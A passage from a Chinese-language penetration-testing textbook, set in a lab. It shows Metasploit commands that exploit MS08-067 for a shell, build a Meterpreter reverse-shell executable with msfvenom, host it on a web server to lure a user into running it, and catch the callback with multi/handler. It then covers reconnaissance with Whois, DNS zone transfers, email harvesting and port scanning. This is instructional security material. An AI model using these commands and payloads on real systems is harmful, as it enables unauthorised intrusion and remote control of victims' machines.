我们看到与 Msfconsole 中相同的选项。我们被提醒将RHOST选项设置为目标机器的 IP 地址，但正如我们在帮助页面上看到的，在 Msfcli 中设置选项与在 Msfconsole 中稍有不同。这里我们使用option=value的方式。例如，要设置RHOST，我们输入RHOST=192.168.20.10。

有效载荷

若要查看与此模块兼容的有效载荷，请使用P模式。尝试msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10 P，如示例 4-13 所示。

示例 4-13. Msfcli 中的模块有效载荷

root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10 P
[*] Please wait while we load the module tree...

Compatible payloads
===================

   Name                                             Description
   ----                                             -----------
   generic/custom                                   Use custom string or file as payload. Set
                                                      either PAYLOADFILE or PAYLOADSTR.
   generic/debug_trap                               Generate a debug trap in the target process
   generic/shell_bind_tcp                           Listen for a connection and spawn a command
                                                      shell
   generic/shell_reverse_tcp                        Connect back to attacker and spawn a command
                                                      shell
   generic/tight_loop                               Generate a tight loop in the target process
--*snip*--

这次，我们将使用绑定 shell 有效载荷。回想一下，绑定 shell 只是在目标机器的本地端口上监听。在有效载荷执行后，由我们的攻击机器连接到目标机器。回想我们在 Msfconsole 中的工作，选择一个有效载荷需要额外的有效载荷特定选项，我们可以通过O标志再次查看。

因为我们的绑定 shell 不会回调到攻击机器，所以我们不需要设置LHOST选项，并且可以暂时将LPORT选项保持为默认的 4444。看起来我们已经准备好再次利用 Windows XP 目标。最后，要告诉 Msfcli 运行漏洞，我们使用E标志（如示例 4-14 所示）。

示例 4-14. 在 Msfcli 中运行漏洞

root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.20.10 PAYLOAD=windows/shell_bind_tcp E
[*] Please wait while we load the module tree...

RHOST => 192.168.20.10
PAYLOAD => windows/shell_bind_tcp
[*] Started bind handler ❶
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Command shell session 1 opened (192.168.20.9:35156 -> 192.168.20.10:4444)
    at 2015-08-31 16:43:54 -0400

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

看起来一切正常，我们得到了另一个 shell。但这次，与其在指定的本地端口 4444 上启动反向处理程序，Metasploit 启动了一个用于绑定 shell 的处理程序❶。在 Metasploit 发送漏洞字符串后，绑定处理程序将自动连接到有效载荷指定的端口并连接到 shell。再次，我们已成功控制目标机器。

使用 Msfvenom 创建独立的有效载荷

在 2011 年，Msfvenom 被添加到 Metasploit 中。在 Msfvenom 之前，工具 Msfpayload 和 Msfencode 可以一起使用，创建多种输出格式的独立编码 Metasploit 有效载荷，如 Windows 可执行文件和 ASP 页面。随着 Msfvenom 的推出，Msfpayload 和 Msfencode 的功能合并到了一个工具中，尽管 Msfpayload 和 Msfencode 仍然包含在 Metasploit 中。要查看 Msfvenom 的帮助页面，请输入msfvenom -h。

到目前为止，使用 Metasploit 的目标一直是利用目标系统中的漏洞并控制机器。现在我们将做些不同的事情。我们不再依赖缺失的补丁或其他安全问题，而是希望利用一个可能永远无法完全修复的安全问题：用户。Msfvenom 允许你创建独立的有效载荷，在目标系统上运行，试图通过社会工程学攻击（第十一章）或通过将有效载荷上传到一个易受攻击的服务器来利用用户，正如我们将在第八章中看到的那样。当一切都失败时，用户通常是一个突破口。

选择有效载荷

要列出所有可用的有效载荷，请输入msfvenom -l payloads。我们将使用 Metasploit 的 Meterpreter 有效载荷之一，windows/meterpreter/reverse_tcp，它提供一个带有 Meterpreter shell 的反向连接。使用-p来选择一个有效载荷。

设置选项

要查看模块的正确选项，请在选择有效载荷后输入-o标志，如示例 4-15 所示。

示例 4-15. Msfvenom 中的选项

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -o
[*] Options for payload/windows/meterpreter/reverse_tcp

    Name      Current Setting  Required  Description
    ----      ---------------  --------  -----------
    EXITFUNC  process          yes       Exit technique: seh, thread, process,
                                           none
    LHOST                      yes       The listen address
    LPORT     4444             yes       The listen port

正如预期的那样，我们需要设置LHOST，并且LPORT默认为 4444。为了练习，将LPORT设置为 12345，输入LPORT=12345。我们还看到EXITFUNC，可以将其保留为默认设置。由于这是一个反向连接有效载荷，我们需要设置LHOST选项，告诉目标机器连接回我们的 Kali 机器。

选择输出格式

现在告诉 Msfvenom 使用哪个输出格式。我们是要从 Windows 可执行文件运行这个有效载荷，还是要制作一个可以上传到我们已经获得写入权限的 Web 服务器的 ASP 文件？要查看所有可用的输出格式，请输入msfvenom --help-formats。

root@kali:~# msfvenom --help-formats
Executable formats
    asp, aspx, aspx-exe, dll, elf, exe, exe-only, exe-service, exe-small,
      loop-vbs, macho, msi, msi-nouac, psh, psh-net, vba, vba-exe, vbs, war
Transform formats
    bash, c, csharp, dw, dword, java, js_be, js_le, num, perl, pl, powershell,
      psl, py, python, raw, rb, ruby, sh, vbapplication, vbscript

要选择输出格式，请使用-f选项并选择所需的格式：

msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=12345 -f exe

但是，如果你按原样运行这个命令，你会看到控制台输出垃圾信息。虽然这在技术上是我们的可执行有效载荷，但它对我们没有什么帮助。相反，我们将输出重定向到一个可执行文件，chapter4example.exe。

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=12345 -f exe > **chapter4example.exe**
root@kali:~# file chapter4example.exe
chapter4example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

屏幕上没有输出，但如果我们在新创建的可执行文件上运行 file 命令，我们会看到它是一个 Windows 可执行文件，只要用户尝试运行它，它将在任何 Windows 系统上运行。（稍后，在第十二章中，我们将看到杀毒软件应用如何阻止 Metasploit 有效载荷，并学习如何将我们的独立有效载荷混淆以绕过杀毒程序。此外，我们还将在第十一章中讨论一些巧妙的方法来引诱用户下载并运行恶意有效载荷。）

投放有效载荷

一种有效的投放有效载荷的好方法是将其托管在 Web 服务器上，将其伪装成有用的东西，并引诱用户下载。对于这个示例，我们将在 Kali 机器的内建 Apache 服务器上托管我们的 Metasploit 可执行文件，然后从目标机器浏览该文件。

首先，运行 cp chapter4example.exe /var/www 将有效载荷可执行文件复制到 Apache 目录，然后确保通过 service apache2 start 启动 Web 服务器。

root@kali:~# cp chapter4example.exe /var/www
root@kali:~# service apache2 start
Starting web server apache2                                           [ OK ]

现在切换到你的 Windows XP 目标并打开 Internet Explorer。浏览到 192.168.20.9/chapter4example.exe 并下载该文件。但在运行文件之前，我们还有一个未完成的步骤。

到目前为止，在尝试利用我们的目标机器时，Metasploit 设置了我们的有效载荷处理程序并发送了漏洞利用代码。当我们使用 Msfconsole 利用 MS08-067 漏洞并使用反向 shell 有效载荷时，Metasploit 首先设置了一个监听端口 4444 的处理程序来接收反向连接，但直到现在，我们还没有设置监听我们用 Msfvenom 创建的有效载荷的反向连接。

使用 Multi/Handler 模块

重新启动 Msfconsole，我们将查看一个名为 multi/handler 的 Metasploit 模块。这个模块允许我们设置独立的处理程序，这正是我们缺少的。我们需要一个处理程序来捕获我们的 Meterpreter 连接，当我们的恶意可执行文件在 Windows XP 目标系统上运行时。选择 multi/handler 模块，输入 use multi/handler。

第一步是告诉 multi/handler 我们需要 Metasploit 的哪些处理程序。我们需要捕获我们使用 Msfvenom 创建可执行文件时所使用的 windows/meterpreter/reverse_tcp 有效载荷。通过 set PAYLOAD windows/meterpreter/reverse_tcp 选择它，然后输入 show options （示例 4-16）。

示例 4-16. 使用 multi/handler 的选项

msf > **use multi/handler**
msf  exploit(handler) > **set PAYLOAD windows/meterpreter/reverse_tcp**
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(handler) > **show options**

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process,
                                          none
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

*--snip--*
msf  exploit(handler) >

从这里我们告诉 Metasploit 在创建有效载荷时使用的设置。我们将LHOST选项设置为本地 Kali IP 地址，将LPORT设置为我们在 Msfvenom 中选择的端口，在这个例子中是 192.168.20.9 和 12345。一旦所有有效载荷选项正确设置，输入exploit，如示例 4-17 所示。

示例 4-17. 设置一个处理程序

msf  exploit(handler) > **set LHOST 192.168.20.9**
LHOST => 192.168.20.9
msf  exploit(handler) > **set LPORT 12345**
LPORT => 12345
msf  exploit(handler) > **exploit**

[*] Started reverse handler on 192.168.20.9:12345
[*] Starting the payload handler...

如你所见，Metasploit 根据指示在端口 12345 上设置了一个反向处理程序，监听回调的有效载荷。

现在我们可以切换回我们的 Windows XP 目标，运行我们下载的可执行文件。在 Windows 目标上运行chapter4example.exe。回到 Msfconsole，你应该会看到处理程序收到反向连接，并且你获得了一个 Meterpreter 会话。

[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:12345 -> 192.168.20.10:49437) at 2015-09-01 11:20:00 -0400

meterpreter >

如果你愿意，可以花些时间尝试一下 Msfvenom。我们将在第十二章中讨论如何利用这个有用的工具绕过防病毒解决方案。

使用辅助模块

Metasploit 最初是作为一个漏洞利用框架构思的，至今依然是漏洞利用领域的顶尖竞争者。但在随后的几年中，它的功能已经扩展到几乎所有方向，就像有那么多富有创意的人在为它工作一样。我有时开玩笑说，Metasploit 除了洗衣服什么都能做，而我目前正在为此开发一个模块。

除了漏洞利用之外，Metasploit 还拥有帮助渗透测试各个阶段的模块。有些模块不是用于漏洞利用的，它们被称为辅助模块；这些模块包括漏洞扫描器、模糊测试工具，甚至拒绝服务模块。（一个好记的经验法则是：漏洞利用模块使用有效载荷，而辅助模块不使用。）

例如，当我们在本章早些时候首次使用windows/smb/ms08_067_netapi漏洞利用模块时，它的选项之一是SMBPIPE。该选项的默认值是BROWSER。让我们来看一个辅助模块，它将枚举 SMB 服务器上正在监听的管道，auxiliary/scanner/smb/pipe_auditor（示例 4-18）。(我们像使用漏洞利用模块一样使用辅助模块，和漏洞利用模块一样，我们也可以省略模块名中的auxiliary/部分。)

示例 4-18. 扫描器/smb/pipe_auditor 的选项

msf > **use scanner/smb/pipe_auditor**
msf  auxiliary(pipe_auditor) > **show options**

Module options (auxiliary/scanner/smb/pipe_auditor):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
  ❶RHOSTS                      yes       The target address range or CIDR identifier
   SMBDomain  WORKGROUP        no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads

这个模块的选项与我们之前见到的有些不同。我们有RHOSTS ❶，而不是RHOST，它允许我们指定多个远程主机来运行该模块。（辅助模块可以针对多个主机运行，而漏洞利用模块一次只能利用一个系统。）

我们还看到了 SMBUser、SMBPass 和 SMBDomain 选项。由于我们的 Windows XP 目标不属于任何域，因此我们可以将 SMBDomain 保留为默认值 WORKGROUP。我们可以将 SMBUser 和 SMBPass 的值留空。THREADS 选项允许我们通过在多个线程中运行模块来控制 Metasploit 的速度。由于我们这里只扫描一个系统，因此默认的 1 个线程就可以正常工作。我们唯一需要设置的选项是 RHOSTS，即我们 Windows XP 目标的 IP 地址。

msf  auxiliary(pipe_auditor) > **set RHOSTS 192.168.20.10**
RHOSTS => 192.168.20.10

尽管在此案例中我们并没有真正利用任何漏洞，但我们仍然可以通过输入 exploit 命令来告诉 Metasploit 运行我们的辅助模块。

msf  auxiliary(pipe_auditor) > **exploit**

[*] 192.168.20.10 - Pipes: \browser ❶
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(pipe_auditor) >

该模块会审计我们 Windows XP 目标上的 SMB 监听管道。事实证明，浏览器管道是唯一可用的管道 ❶。由于这个管道正在监听，因此它是我们在本章早些时候使用的 windows/smb/ms08_067_netapi 漏洞模块中 SMBPIPE 选项的正确值。

更新 Metasploit

本书中的练习旨在基于 Kali Linux 1.0.6 版本进行操作。自然，本书中使用的许多安全工具自 Kali 发布以来已经更新，尤其是 Metasploit，它会定期收到核心开发人员和安全社区的更新。

本书中的所有内容均适用于 Kali 1.0.6 上安装的 Metasploit 版本。随着你作为渗透测试员的职业发展，你会希望使用最新的 Metasploit 模块。Metasploit 项目通常会非常稳定地发布适用于最新网络安全问题的模块。要从 Metasploit 的 GitHub 拉取最新的模块，可以输入以下命令：root@kali:~# msfupdate

root@kali:~# msfupdate

总结

在本章中，我们已经熟悉了一些 Metasploit 接口的使用。我们将在整本书中不断返回使用 Metasploit。

在接下来的几章中，我们将模拟对目标机器进行渗透测试，涵盖多种漏洞类型。如果你从事渗透测试工作，可能会遇到各种不同安全状态的客户。一些客户可能会因为组织内缺少大量补丁而让你怀疑他们自从 2001 年安装基本镜像以来是否更新过。除了缺少补丁外，你可能还会发现其他漏洞，比如默认密码和配置错误的服务。对于经验丰富的渗透测试人员来说，获得对这些网络的访问权限是非常简单的。

另一方面，你也可能会遇到一些客户，他们已经完善了补丁管理，从 Windows 操作系统到所有第三方软件，都在整个组织内实行定期的补丁更新。有些客户可能会部署尖端的安全控制，例如只允许 Internet Explorer 访问互联网的代理服务器。这将阻止即使是 Metasploit 的反向 shell，它通过 80 或 443 端口回调并且看起来像是网页流量，除非你能够利用 Internet Explorer 程序，而它可能也已经完全打了补丁。你还可能会在外围发现入侵防御防火墙，它会丢弃任何看起来像攻击流量的字符串。

单单把 MS08-067 的 Metasploit 模块丢到这些高安全性网络中，除了可能接到网络监控供应商的电话，告诉你有逮捕令之外，不会有任何结果。（不用担心：作为渗透测试的一部分，你会拥有一张“免入狱卡”。）但即使是高度安全的网络，也只是像它们最脆弱的环节一样强大。例如，我曾为一家公司进行现场渗透测试，这家公司采用了我刚才提到的所有安全控制。然而，所有 Windows 工作站的本地管理员密码都是相同的五个字母的词典词汇。在我破解了密码之后，我能够以管理员身份登录网络上每一台工作站。接着，我使用了叫做令牌伪装的技术，获得了域管理员的权限。尽管有所有强大的安全控制，但只要稍加努力，我就能够像接管一个没有 2003 年补丁的网络一样，轻松接管这个网络。

在你继续阅读本书的过程中，你将不仅掌握突破脆弱系统所需的技术技能，还会培养出当似乎没有明显漏洞时找到突破口的思维方式。

现在让我们把注意力转向收集目标的信息，以便制定一个稳固的攻击计划。

第二部分：评估

第五章信息收集

本章我们将开始渗透测试的信息收集阶段。这个阶段的目标是尽可能多地了解我们的客户。首席执行官是否在推特上泄露了太多信息？系统管理员是否在归档的邮件列表中询问如何保护 Drupal 安装？他们的网页服务器运行的是什么软件？面向互联网的系统是否监听了超过应有的端口？或者，如果这是一次内部渗透测试，域控制器的 IP 地址是什么？

我们还将开始与目标系统进行互动，在不主动攻击的情况下尽可能多地了解它们。我们将在这一阶段获得的知识基础上，进入威胁建模阶段，在该阶段我们像攻击者一样思考，并根据收集到的信息制定攻击计划。基于我们所揭示的信息，我们将主动寻找并验证漏洞，使用漏洞扫描技术，这将在下一章中介绍。

开源情报收集

在发送任何数据包之前，我们可以了解客户的组织和基础设施的很多信息，但信息收集仍然有点像一个动态的目标。研究每个员工的在线活动是不可行的，而且在收集到大量信息后，很难从杂音中辨别出重要数据。如果首席执行官在推特上频繁发布关于某个喜爱运动队的信息，那么该队的名称可能是她的网页邮件密码的依据，但也可能完全无关紧要。其他时候，发现一些关键的信息会更容易。例如，如果客户发布了寻找熟悉某些软件的系统管理员的职位招聘信息，那么这些平台很可能已经在客户的基础设施中部署。

与从垃圾捡拾、数据库泄露和社会工程等隐秘来源获得的情报不同，开源情报（或 OSINT）是从合法来源，如公共记录和社交媒体中收集的。渗透测试的成功往往依赖于信息收集阶段的结果，因此在这一部分，我们将探讨一些工具，以从这些公共来源获取有价值的信息。

Netcraft

有时，网页服务器和网页托管公司收集并公开的信息可以揭示很多关于一个网站的细节。例如，一家公司叫做 Netcraft，它记录网站的正常运行时间并查询其底层软件。（这些信息公开可查，地址为 www.netcraft.com/。）Netcraft 还提供其他服务，其中他们的反钓鱼服务特别引起信息安全领域的关注。

例如，图 5-1 显示了我们查询 www.netcraft.com/ 和 www.bulbsecurity.com 时的结果。如你所见，bulbsecurity.com 最早出现在 2012 年 3 月。它通过 GoDaddy 注册，IP 地址为 50.63.212.1，运行的是 Linux 操作系统，并且使用 Apache Web 服务器。

拥有这些信息后，当我们对 bulbsecurity.com 进行渗透测试时，可以从排除只影响 Microsoft IIS 服务器的漏洞开始。或者，如果我们想尝试社交工程学来获取网站的凭据，我们可以写一封看似来自 GoDaddy 的邮件，要求管理员登录并检查一些安全设置。

图 5-1. Netcraft 对 bulbsecurity.com 的结果

Whois 查找

所有域名注册商都会保留他们托管的域名记录。这些记录包含关于所有者的信息，包括联系信息。例如，如果我们在 Kali 机器上运行 Whois 命令行工具查询 bulbsecurity.com 的信息，如示例 5-1 所示，我们看到我使用了私密注册，所以我们不会学到太多信息。

示例 5-1. bulbsecurity.com 的 Whois 信息

root@kali:~# whois bulbsecurity.com
  Registered through: GoDaddy.com, LLC (http://www.godaddy.com)
   Domain Name: BULBSECURITY.COM
      Created on: 21-Dec-11
      Expires on: 21-Dec-12
      Last Updated on: 21-Dec-11

   Registrant: ❶
   Domains By Proxy, LLC
   DomainsByProxy.com
   14747 N Northsight Blvd Suite 111, PMB 309
   Scottsdale, Arizona 85260
   United States

   Technical Contact: ❷
      Private, Registration  BULBSECURITY.COM@domainsbyproxy.com
      Domains By Proxy, LLC
      DomainsByProxy.com
      14747 N Northsight Blvd Suite 111, PMB 309
      Scottsdale, Arizona 85260
      United States
      (480) 624-2599      Fax -- (480) 624-2598

   Domain servers in listed order:
      NS65.DOMAINCONTROL.COM ❸
      NS66.DOMAINCONTROL.COM

该网站有私密注册，因此注册人 ❶ 和技术联系人 ❷ 都是代理域名。代理域名提供私密注册，隐藏你拥有的域名的个人信息。不过，我们确实可以看到 bulbsecurity.com 的域名服务器 ❸。

对其他域名进行 Whois 查询会显示更多有趣的结果。例如，如果你对 georgiaweidman.com 进行 Whois 查找，你可能会看到一些有趣的过去信息，包括我大学时的电话号码。

DNS 勘察

我们还可以使用域名系统（DNS）服务器来了解更多关于一个域名的信息。DNS 服务器将人类可读的 URL www.bulbsecurity.com 转换为 IP 地址。

Nslookup

例如，我们可以使用如示例 5-2 所示的命令行工具，如 Nslookup。

示例 5-2. www.bulbsecurity.com 的 Nslookup 信息

root@Kali:~# nslookup www.bulbsecurity.com
Server:    75.75.75.75
Address:   75.75.75.75#53

Non-authoritative answer:
www.bulbsecurity.com    canonical name = bulbsecurity.com.
Name:    bulbsecurity.com
Address: 50.63.212.1 ❶

Nslookup 返回了 www.bulbsecurity.com 的 IP 地址，如 ❶ 所示。

我们还可以通过查找 MX 记录（DNS 中表示电子邮件的术语），告诉 Nslookup 查找同一网站的邮件服务器，如示例 5-3 所示。

示例 5-3. bulbsecurity.com 的邮件服务器的 Nslookup 信息

root@kali:~# nslookup
> **set type=mx**
> **bulbsecurity.com**
Server:    75.75.75.75
Address:   75.75.75.75#53

Non-authoritative answer:
bulbsecurity.com    mail exchanger = 40 ASPMX2.GOOGLEMAIL.com.
bulbsecurity.com    mail exchanger = 20 ALT1.ASPMX.L.GOOGLE.com.
bulbsecurity.com    mail exchanger = 50 ASPMX3.GOOGLEMAIL.com.
bulbsecurity.com    mail exchanger = 30 ALT2.ASPMX.L.GOOGLE.com.
bulbsecurity.com    mail exchanger = 10 ASPMX.L.GOOGLE.com.

Nslookup 显示bulbsecurity.com正在使用 Google Mail 作为其电子邮件服务器，这是正确的，因为我使用的是 Google Apps。

Host

另一个用于 DNS 查询的工具是 Host。我们可以使用host -t ns domain命令询问 Host 该域名的名称服务器。一个很好的域名查询示例是zoneedit.com，这是一个演示区域传输漏洞的域名，如下所示。

root@kali:~# host -t ns zoneedit.com
zoneedit.com name server ns4.zoneedit.com.
zoneedit.com name server ns3.zoneedit.com.
--*snip*--

该输出展示了所有zoneedit.com的 DNS 服务器。自然地，由于我提到这个域名是用来演示区域传输的，所以接下来我们要做的就是进行区域传输。

区域传输

DNS 区域传输允许名称服务器复制一个域的所有条目。在设置 DNS 服务器时，通常会有一个主名称服务器和一个备份服务器。最好的方法就是通过查询主服务器的所有条目，将所有条目填充到备份 DNS 服务器中。

不幸的是，许多系统管理员没有安全地设置 DNS 区域传输，使得任何人都可以转移域的 DNS 记录。zoneedit.com就是这样一个例子，我们可以使用host命令下载它的所有 DNS 记录。使用-l选项来指定要传输的域，并从之前的命令中选择一个名称服务器，如示例 5-4 所示。

示例 5-4. zoneedit.com的区域传输

root@kali:~# host -l zoneedit.com ns2.zoneedit.com
Using domain server:
Name: ns2.zoneedit.com
Address: 69.72.158.226#53
Aliases:

zoneedit.com name server ns4.zoneedit.com.
zoneedit.com name server ns3.zoneedit.com.
zoneedit.com name server ns15.zoneedit.com.
zoneedit.com name server ns8.zoneedit.com.
zoneedit.com name server ns2.zoneedit.com.
zoneedit.com has address 64.85.73.107
www1.zoneedit.com has address 64.85.73.41
dynamic.zoneedit.com has address 64.85.73.112
bounce.zoneedit.com has address 64.85.73.100
--*snip*--
mail2.zoneedit.com has address 67.15.232.182
--*snip*--

zoneedit.com的 DNS 条目有很多，这为我们在寻找渗透测试中的漏洞时提供了一个很好的起点。例如，mail2.zoneedit.com可能是一个邮件服务器，因此我们应该寻找可能在典型电子邮件端口上运行的易受攻击的软件，例如 25 端口（简单邮件传输协议）和 110 端口（POP3）。如果我们能找到一个 Web 邮件服务器，任何找到的用户名都可能帮助我们朝正确的方向前进，从而猜测密码并访问公司敏感的电子邮件。

搜索电子邮件地址

外部渗透测试通常发现暴露的服务比内部渗透测试要少。一个好的安全做法是只暴露那些必须远程访问的服务，比如 Web 服务器、邮件服务器、VPN 服务器，可能还有 SSH 或 FTP，并且只暴露那些对任务至关重要的服务。像这样的服务是常见的攻击面，除非员工使用双因素认证，否则如果攻击者能猜测有效的凭据，访问公司 Web 邮件可能非常简单。

查找用户名的一个好方法是通过在互联网上寻找电子邮件地址。你可能会惊讶地发现，一些公司电子邮件地址公开列在家长-教师协会的联系信息、体育团队名单上，当然，还有社交媒体。

你可以使用一个名为 theHarvester 的 Python 工具，快速扫描数千条搜索引擎结果，寻找可能的电子邮件地址。theHarvester 可以自动化搜索 Google、Bing、PGP、LinkedIn 等平台上的电子邮件地址。例如，在示例 5-5 中，我们将查看所有搜索引擎中的前 500 条结果，关于 bulbsecurity.com。

示例 5-5. 使用 theHarvester 扫描 bulbsecurity.com

root@kali:~# theharvester -d bulbsecurity.com -l 500 -b all

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.2a                                          *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************

Full harvest..
[-] Searching in Google..
    Searching 0 results...
    Searching 100 results...
    Searching 200 results...
    Searching 300 results...
--*snip*--

 [+] Emails found:
------------------
georgia@bulbsecurity.com

[+] Hosts found in search engines:
------------------------------------
50.63.212.1:www.bulbsecurity.com

--*snip*--

对于 bulbsecurity.com，没有找到太多信息，但 theHarvester 确实找到了我的电子邮件地址 georgia@bulbsecurity.com，以及网站 www.bulbsecurity.com，还有我与之共享虚拟主机的其他网站。如果你对你的组织进行扫描，可能会找到更多结果。

Maltego

Paterva 的 Maltego 是一款数据挖掘工具，旨在可视化开源情报收集。Maltego 有商业版和免费社区版。我们在本书中使用的免费 Kali Linux 版本返回的结果有所限制，但我们仍然可以非常快速地收集大量有趣的信息。（付费版提供更多结果和功能。要在渗透测试中使用 Maltego，你需要购买付费许可证。）

注意

随时可以使用 Maltego 来研究其他互联网足迹，包括你自己的、你公司的、你高中时的死敌的等等。Maltego 使用公开可用的互联网信息，因此对任何实体进行侦察都是完全合法的。

要运行 Maltego，请在命令行中输入 maltego。Maltego 的图形界面应该会启动。你将被提示在 Paterva 网站上创建一个免费账户并登录。一旦登录，选择 打开一个空白图表并让我玩一下，然后点击完成，如图 5-2 所示。

图 5-2. 打开一个新的 Maltego 图表

现在从左侧边栏选择 调色板 选项。如你所见，我们可以收集各种实体的信息。

我们从 bulbsecurity.com 域名开始，如图 5-3 所示。从调色板（位于 Maltego 窗口的左侧）中展开“基础设施”选项，并将一个“域名”实体从调色板拖动到新的图表中。默认情况下，域名是 paterva.com。要将其更改为 bulbsecurity.com，可以双击文本或更改屏幕右侧的文本字段。

图 5-3. 将实体添加到图表

一旦设置好域名，你可以在其上运行转换（Maltego 中用于查询的术语），指示 Maltego 搜索有趣的信息。让我们从几个简单的转换开始，你可以通过右键点击域名图标并选择运行转换来查看这些转换，如图 5-4 所示。

在图中，我们可以看到所有可用于域名实体的转换。随着你使用不同的实体，转换选项也会不同。让我们查找bulbsecurity.com域名的 MX 记录，从而找出邮件服务器的位置。在所有转换下，选择到 DNS 名称 – MX（邮件服务器）转换。

正如我们之前研究的预期，Maltego 返回了 Google Mail 服务器，表明bulbsecurity.com使用 Google Apps 作为邮件服务。我们可以运行简单的到网站 [快速查找]转换，获取bulbsecurity.com的官网地址。有关这一转换以及之前转换的结果，请参见图 5-5。

图 5-4. Maltego 转换图 5-5. 转换结果

Maltego 正确地找到了www.bulbsecurity.com。攻击 Google Mail 服务器可能超出了任何渗透测试的范围，但更多关于* www.bulbsecurity.com网站的信息无疑会很有用。我们可以对图表上的任何实体运行转换，所以选择网站www.bulbsecurity.com来收集有关它的数据。例如，我们可以运行到服务器技术网站转换，查看www.bulbsecurity.com*正在运行什么软件，如图 5-6 所示。

图 5-6. www.bulbsecurity.com 软件

Maltego 发现www.bulbsecurity.com是一个 Apache web 服务器，运行 PHP、Flash 等，同时安装了 WordPress。WordPress 作为一个常用的博客平台，有着一长串的安全问题（就像许多软件一样）。我们将在第十四章中探讨如何利用网站漏洞。（希望我一直在保持我的 WordPress 博客更新，否则我可能某天醒来会发现我的网站被篡改了。真是太尴尬了！）

你可以在 www.paterva.com/ 上找到更多关于 Maltego 的信息和教程。花点时间使用 Maltego 的变换功能，查找有关你组织的有趣信息。在熟练的操作下，Maltego 能够将几小时的侦察工作缩短到几分钟，而且结果的质量不打折。

端口扫描

当你开始渗透测试时，潜在的测试范围几乎是无限的。客户可能运行着多种存在安全问题的程序：他们的基础设施可能存在配置错误，导致系统可能被攻破；弱密码或默认密码可能会将安全的系统轻松攻陷；等等。渗透测试通常会将测试范围缩小到特定的 IP 范围，仅此而已。如果客户没有使用易受攻击的软件，那么你通过开发针对最新最强大服务器端漏洞的有效利用工具并不会帮助他们。我们需要了解哪些系统是活跃的，以及我们可以与哪些软件进行交互。

手动端口扫描

例如，在上一章中，我们看到利用 MS08-067 漏洞对攻击者和渗透测试人员来说都是一次轻松的胜利。为了利用这个漏洞，我们需要找到一台运行 Windows 2000、XP 或 2003 的机器，且该机器的 SMB 服务器缺少 MS08-067 补丁，并且该机器在网络上可访问。通过映射网络范围并查询系统的监听端口，我们可以对网络攻击面有一个很好的了解。

我们可以通过手动连接端口来实现这一点，使用像 telnet 或 Netcat 这样的工具并记录结果。我们来用 Netcat 连接到 Windows XP 机器上的端口 25，这是简单邮件传输协议（SMTP）的默认端口。

root@kali:~# nc -vv 192.168.20.10 25
nc: 192.168.20.10 (192.168.20.10) 25 [smtp]❶ open
nc: using stream socket
nc: using buffer size 8192
nc: read 66 bytes from remote
220 bookxp SMTP Server SLmail 5.5.0.4433 Ready
ESMTP spoken here
nc: wrote 66 bytes to local

结果发现，这台 Windows XP 机器在端口 25 ❶ 上运行着一个 SMTP 服务器。我们连接后，SMTP 服务器自我介绍为 SLMail -version 5.5.0.4433。

现在，请记住，管理员可以更改这种横幅信息，让其显示任何内容，甚至将攻击者和渗透测试人员引导到一场无意义的追逐中，研究一个未部署的产品的漏洞。然而，在大多数情况下，软件横幅中的版本号通常是相对准确的，直接连接到端口并查看横幅信息为我们的渗透测试研究提供了一个起点。通过网络搜索 SLMail version 5.5.0.4433 可能会得到一些有趣的结果。

另一方面，连接到单台计算机上的每一个可能的 TCP 和 UDP 端口并记录结果可能会非常耗时。幸运的是，计算机在执行这种重复性任务时表现出色，我们可以使用端口扫描工具，如 Nmap，来帮我们找到监听端口。

注意

到目前为止，我们在本章中所做的一切都是完全合法的。但一旦我们开始主动查询系统，就进入了法律灰色地带。未经许可尝试闯入计算机在许多国家是非法的。尽管隐蔽的扫描流量可能不会引起注意，但你应该只在你的目标虚拟机或其他你拥有或已获得书面许可进行测试的系统上练习本章（以及本书其余部分）所学习的技能（业内称为“免死金牌”）。

使用 Nmap 进行端口扫描

Nmap 是行业标准的端口扫描工具。仅关于使用 Nmap 就有整本书籍，手册页面可能看起来有些令人生畏。我们将在这里介绍端口扫描的基础知识，并在后续章节中再次回到该工具。

配备入侵检测和防御系统的防火墙在检测和阻止扫描流量方面取得了显著进展，因此你可能会运行 Nmap 扫描，却没有得到任何结果。尽管你可能被聘请对没有活动主机的网络范围执行外部渗透测试，但更有可能是你的扫描被防火墙阻挡了。另一方面，如果你的 Nmap 结果显示每个主机都处于活动状态，并且如果扫描被检测到，所有端口都会处于监听状态。

SYN 扫描

让我们开始对目标机器执行 SYN 扫描。SYN 扫描是一种 TCP 扫描，它不会完成 TCP 握手。TCP 连接从三次握手开始：SYN ▸ SYN-ACK ▸ ACK，如图 5-7 所示。

